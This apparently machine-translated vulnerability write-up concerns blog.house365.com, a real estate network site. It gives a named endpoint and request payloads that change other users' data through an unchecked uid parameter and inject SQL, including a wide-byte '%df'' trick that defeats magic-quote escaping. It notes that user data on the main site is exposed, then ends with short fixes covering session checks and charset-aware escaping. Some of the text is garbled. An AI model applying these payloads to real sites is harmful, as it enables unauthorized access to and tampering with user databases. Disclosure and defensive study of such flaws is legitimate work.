365 real estate network configuration leakage + unauthorized + Injection

Http://blog.house365.com/ajaxuser.php? Type = blog & action = atcblogclass & job = add

UPDATE pw_userinfo SET dirdb = ......................

Send data:

Blogclass = AAAAAAAAAAAAAAAAA "\ & itemid = 1 & uid = 1 & name =

Note that you can modify the uid as needed.

Changed the blog tag of uid to 1.

Cannot be injected when gpc is enabled? Byte helps you!

Blogclass = 007 & itemid = 1 & uid = 1% df '-- & name =

 

WHERE uid = '1 € '#'
It's closed...

Changed the blog tag of uid to 5.

 

Cannot be injected when gpc is enabled? Byte helps you!

Blogclass = 007 & itemid = 1 & uid = 1% df '-- & name =

 

 

WHERE uid = '1 € '#'
It's closed... This is the main site injection .... All user data is stored in.
Solution:
Verify the SESSION or cookies of the uid.

Wide byte injection:

It is recommended to use mysql_set_charset to set the character set mysql_real_escape_string escape SQL statement.

The character set is binary.